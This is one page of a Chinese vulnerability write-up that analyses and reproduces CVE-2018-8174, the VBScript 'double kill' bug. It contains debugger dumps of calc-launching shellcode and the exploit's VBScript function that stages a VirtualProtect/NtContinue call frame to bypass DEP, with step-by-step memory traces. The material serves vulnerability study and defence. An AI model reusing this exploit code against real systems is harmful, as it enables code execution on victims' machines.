CVE-2018-8174双杀漏洞分析复现及防御
来源:岁月联盟
时间:2020-01-29
025e0084 f6 03 7d f8 3b 7d 24 75-e4 58 8b 58 24 01 d3 66 ..}.;}$u.X.X$..f
025e0094 8b 0c 4b 8b 58 1c 01 d3-8b 04 8b 01 d0 89 44 24 ..K.X.........D$
025e00a4 24 5b 5b 61 59 5a 51 ff-e0 5f 5f 5a 8b 12 eb 8d $[[aYZQ..__Z....
025e00b4 5d 6a 01 8d 85 b2 00 00-00 50 68 31 8b 6f 87 ff ]j.......Ph1.o..
025e00c4 d5 bb f0 b5 a2 56 68 a6-95 bd 9d ff d5 3c 06 7c .....Vh......025e00d4 0a 80 fb e0 75 05 bb 47-13 72 6f 6a 00 53 ff d5 ....u..G.roj.S..
025e00e4 63 61 6c 63 2e 65 78 65-00 41 65 00 00 00 00 00 calc.exe.Ae.....
025e00f4 00 00 00 00 00 00 00 cc-cc cc cc cc cc cc cc cc ................
025e0104 3f 71 3d 37 30 35 35 34-38 26 76 3d 33 00 41 41 ?q=705548&v=3.AA
025e0114 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
//当前地址的权限问题
0: kd> !pte 025e0024
VA 025e0024
PDE at C0600090 PTE at C0012F00
contains 0000000076382867 contains 8000000043F0F867
pfn 76382 ---DA--UWEV pfn 43f0f ---DA--UW-V
现在shellcode的已经加载到内存中了,接下来就是构造环境执行的问题了
3.5.2.ShellCode 绕过DEPv
重点是这两个函数:
SetMemValue VirtualProtectCallParameters(ShellcodeAddr)
lIlll=GetMemValue()+69596 '0x10FDC
IsEmpty(lIlll)
SetMemValue ExpandWithVirtualProtect(lIlll)
llIIll=GetMemValue()
IsEmpty(llIIll)
先看 VirtualProtectCallParameters 函数:
'构造VirtualProtect环境 参数为shellcode地址
Function VirtualProtectCallParameters(ShellcodeAddrParam) 'bypass cfg
Alert "VirtualProtectCallParameters"
Dim result
result=String((100334-65536),Unescape("%u4141")) '重复0x10FDC个“A”
result=result &EscapeAddress(ShellcodeAddrParam) '在0FDC个“A”后面放入shellcode地址
result=result &EscapeAddress(ShellcodeAddrParam) '第一个参数 修改的基地址
result=result &EscapeAddress(&h3000) '第二个参数 size
result=result &EscapeAddress(&h40) '第三个参数PAGE_EXECUTE_READWRITE 0x40)
result=result &EscapeAddress(ShellcodeAddrParam-8) '第四个,内存原始属性保存地址
result=result &String(6,Unescape("%u4242")) '重复 6个“**”
result=result &StructWithNtContinueAddr() ' /x00 * 3 NtContinue * 4 /x00
result=result &String((&h80000-LenB(result))/2,Unescape("%u4141")) '重复 0x80000- ?个“AA”
VirtualProtectCallParameters=result
End Function
一步一步解析:(VBS里面的&代表的是字符串的连接)
//源码:result=String((100334-65536),Unescape("%u4141"))
//重复0x10FDC个“AA”
0:005> dd poi(esp+c) lc
0055e470 0000004a 00000000 02129da8 00000000
0055e480 024d0008 024dcc34 0392ca3c 024dcc1c
0055e490 00000000 02108298 0037a1bc 0055f5cc
0:005> dd 02129da8 lc
02129da8 00000008 00000000 0393da34 00000000
02129db8 00000000 00000000 655fbbf0 0c04fced
02129dc8 00000000 00550050 00000000 0055f698
//申请出的字符串
0:005> db 0393da34
0393da34 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0393da44 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0393da54 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0393da64 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0393da74 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0393da84 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0393da94 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0393daa4 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
//源码:result=result &EscapeAddress(ShellcodeAddrParam) 将shellcode地址放到字符串后面
0:005> dd 0393da34+10FDC lc
0394ea10 0265002c 00000000 00000000 00000000 //0265002c是shellcode的地址
0394ea20 f117622e 0007b655 003bb6d0 0035db68
0394ea30 00000000 00000000 00000000 00000000
//shellcode地址由于重新调试与上面地址不一样,但是可以看到确实是shellcode的代码
0:005> db 0265002c
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] 下一页